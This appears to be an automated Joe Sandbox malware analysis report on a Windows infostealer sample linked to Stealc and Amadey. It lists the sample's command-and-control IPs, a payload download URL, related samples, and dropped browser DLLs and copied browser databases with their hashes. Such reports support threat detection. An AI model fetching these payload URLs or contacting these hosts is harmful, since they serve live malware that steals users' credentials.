https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe50673	explorti.exe, 0000000D.00000002.3230163969.0000000001252000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	ukuWaeRgPR.exe, 00000000.00000002.2171110129.0000000002142000.00000004.00000020.00020000.00000000.sdmp, BAFIEGIECGCBKFIEBGCA.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	AAAKEBGDAFHIIDHIIECFBKFIJK.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GCGDGHCB.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
85.28.47.4	unknown	Russian Federation	31643	GES-ASRU	true
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1463763
Start date and time:	2024-06-27 19:25:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ukuWaeRgPR.exe renamed because original name is a hash value
Original Sample Name:	370e9decc41c2ed09ec8f40262b9e2f9.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/30@0/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target EHDHDHIECG.exe, PID 1600 because it is empty
Execution Graph export aborted for target explorti.exe, PID 1772 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 6352 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ukuWaeRgPR.exe

Simulations

Behavior and APIs

Time	Type	Description
13:27:03	API Interceptor	759x Sleep call for process: explorti.exe modified
19:26:18	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.81	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81/Kiru9gu/index.php
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81/Kiru9gu/index.php
	yWny5Jds8b.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	77.91.77.81/Kiru9gu/index.php
	setup.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81/Kiru9gu/index.php
85.28.47.4	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	77.91.77.81
	90ZF1EDs9h.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81
GES-ASRU	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	2snSKQHbDz.exe	Get hash	malicious	RedLine	Browse	85.28.47.7
	KgXj6BW5dZ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	T8TLibvQ1C.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	HWyC5T1f8a.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	xS6ePhELv0.exe	Get hash	malicious	RedLine	Browse	85.28.47.7
	6a7R9UXFMM.elf	Get hash	malicious	Mirai	Browse	85.28.26.9
	WNvt5lJRrT.elf	Get hash	malicious	Mirai	Browse	85.28.26.0
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	wqmnYoVbHr.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	EZrw1nNIpG.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	77.91.77.81
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	77.91.77.81
	90ZF1EDs9h.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	77.91.77.81

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	8Scta2jVt5.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	38XY6jzm6P.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	tUB0RZsuki.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	zny5cLXehf.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	m1bYapVp99.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	s4G9QSvwbh.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	OwIt5GoTC8.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	3FCk5erg9l.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse
C:\ProgramData\mozglue.dll	8Scta2jVt5.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	38XY6jzm6P.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	tUB0RZsuki.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	zny5cLXehf.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	m1bYapVp99.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	s4G9QSvwbh.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	OwIt5GoTC8.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	3FCk5erg9l.exe	Get hash	malicious	CryptOne, Mars Stealer, Stealc, Vidar	Browse
	tAa6xNsucX.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse

Created / dropped Files

C:\ProgramData\AAAKEBGDAFHIIDHIIECFBKFIJK

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIIEBGCAAECBGCBGCBKEHIJEB

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKFHDBFI

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAFIEGIECGCBKFIEBGCA

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CBAKEBGIIDAFIDHIIECFCFIEGH

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBAEGCGCGIEGDHIDHJJE

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGDGHCB

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGIJJDGCBKFIDHIEBKECGIJDH

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJKJDAFHJDHIEBGCFID

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 8Scta2jVt5.exe, Detection: malicious, Browse Filename: 38XY6jzm6P.exe, Detection: malicious, Browse Filename: tUB0RZsuki.exe, Detection: malicious, Browse Filename: zny5cLXehf.exe, Detection: malicious, Browse Filename: m1bYapVp99.exe, Detection: malicious, Browse Filename: s4G9QSvwbh.exe, Detection: malicious, Browse Filename: OwIt5GoTC8.exe, Detection: malicious, Browse Filename: 3FCk5erg9l.exe, Detection: malicious, Browse Filename: tAa6xNsucX.exe, Detection: malicious, Browse Filename: 1Vkf7silOj.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 8Scta2jVt5.exe, Detection: malicious, Browse Filename: 38XY6jzm6P.exe, Detection: malicious, Browse Filename: tUB0RZsuki.exe, Detection: malicious, Browse Filename: zny5cLXehf.exe, Detection: malicious, Browse Filename: m1bYapVp99.exe, Detection: malicious, Browse Filename: s4G9QSvwbh.exe, Detection: malicious, Browse Filename: OwIt5GoTC8.exe, Detection: malicious, Browse Filename: 3FCk5erg9l.exe, Detection: malicious, Browse Filename: tAa6xNsucX.exe, Detection: malicious, Browse Filename: 1Vkf7silOj.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
